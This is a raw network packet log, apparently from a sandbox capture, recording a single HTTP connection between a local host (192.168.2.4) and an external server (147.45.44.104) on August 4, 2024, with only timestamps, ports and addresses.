Aug 4, 2024 02:21:36.940995932 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.941018105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.941025019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.941050053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.941056013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.941082001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.941086054 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.941133022 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.941354990 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.941387892 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.941409111 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.941427946 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.941437006 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.941468000 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.941477060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.941500902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.941504955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.941531897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.941548109 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.941565037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.941572905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.941597939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.941601992 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.941629887 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.941636086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.941662073 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.941668034 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.941699028 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.942034960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.942065954 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.942085981 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.942096949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.942107916 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.942128897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.942136049 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.942159891 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.942167044 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.942194939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.942198992 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.942238092 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.942493916 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.942526102 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.942545891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.942558050 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.942563057 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.942591906 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.942598104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.942625046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.942629099 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.942657948 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.942665100 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.942691088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.942697048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.942728996 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.942785978 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.942826986 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.942890882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.942919016 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.942934036 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.942956924 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.942998886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.943046093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.943047047 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.943079948 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.943088055 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.943113089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.943120003 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.943150043 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.943346977 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.943378925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.943397999 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.943412066 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.943422079 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.943453074 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.943464994 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.943495989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.943509102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.943528891 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.943540096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.943561077 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.943572044 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.943595886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.943604946 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.943630934 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.943639040 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.943681955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.944219112 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.944251060 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.944263935 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.944283962 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.944288015 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.944315910 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.944319963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.944348097 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.944355965 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.944375992 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.944386005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.944407940 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.944437981 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.944439888 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.944447994 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.944472075 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.944478989 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.944515944 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.944539070 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.944591999 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.944622040 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.944653034 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.944667101 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.944685936 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.944690943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.944719076 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.944730997 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.944751978 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.944758892 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.944783926 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.944792986 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.944818020 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.944820881 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.944858074 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.944866896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.944901943 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.944909096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.944946051 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.945252895 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.945285082 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.945301056 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.945317030 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.945321083 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.945353985 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.945355892 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.945385933 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.945394039 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.945417881 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.945430040 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.945450068 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.945461035 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.945483923 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.945492983 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.945517063 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.945524931 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.945549965 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.945570946 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.945584059 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.945588112 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.945628881 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.945638895 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.945661068 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.945672989 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.945693016 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.945703030 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.945734978 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.946413994 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.946465015 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.946466923 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.946499109 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.946506023 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.946531057 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.946541071 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.946563959 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.946589947 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.946603060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.946603060 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.946635008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.946645021 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.946669102 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.946679115 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.946712017 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.947115898 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.947164059 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.947168112 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.947201014 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.947208881 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.947237015 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.947295904 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.947348118 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.947375059 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.947407961 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.947419882 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.947448969 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.947530031 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.947561026 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.947566986 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.947594881 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.947602987 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.947627068 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.947635889 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.947663069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.947669983 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.947704077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.947741985 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.947773933 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.947782040 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.947805882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.947896004 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.947896957 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.986852884 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.986953974 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.986974955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.986987114 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.986999035 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.987025976 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.987037897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.987070084 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.987076998 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.987102032 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.987106085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.987140894 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.987224102 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.987265110 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.029092073 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.029144049 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.029151917 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.029191971 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.029196024 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.029239893 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.029247046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.029279947 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.029292107 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.029324055 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.029388905 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.029422998 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.029434919 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.029465914 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.029505014 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.029552937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.029555082 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.029597044 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.029604912 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.029638052 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.029648066 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.029670000 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.029681921 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.029707909 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.029714108 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.029753923 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.029802084 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.029851913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.029937029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.029968977 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.029988050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.030002117 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.030011892 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.030034065 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.030040979 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.030066967 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.030076027 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.030112982 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.030380011 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.030411959 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.030431032 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.030446053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.030458927 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.030478001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.030487061 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.030509949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.030520916 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.030543089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.030555010 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.030575037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.030587912 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.030611038 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.030623913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.030642986 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.030654907 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.030677080 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.030690908 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.030709028 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.030720949 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.030741930 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.030750036 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.030776024 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.030786991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.030816078 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.031137943 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.031168938 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.031184912 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.031200886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.031210899 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.031233072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.031244040 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.031275988 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.031378984 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.031407118 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.031430006 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.031438112 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.031446934 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.031471014 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.031480074 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.031505108 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.031516075 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.031544924 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.031713963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.031744957 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.031763077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.031776905 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.031780005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.031815052 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.031910896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.031941891 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.031961918 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.031975985 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.031987906 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.032007933 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.032017946 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.032041073 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.032052040 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.032073021 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.032083988 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.032105923 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.032115936 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.032139063 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.032149076 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.032171965 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.032181978 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.032218933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.032476902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.032530069 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.032537937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.032571077 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.032581091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.032603979 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.032613039 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.032636881 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.032649994 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.032670021 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.032682896 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.032706022 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.032721043 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.032763958 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.032902956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.032939911 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.032953024 CEST	49757	80	192.168.2.4	147.45.44.104
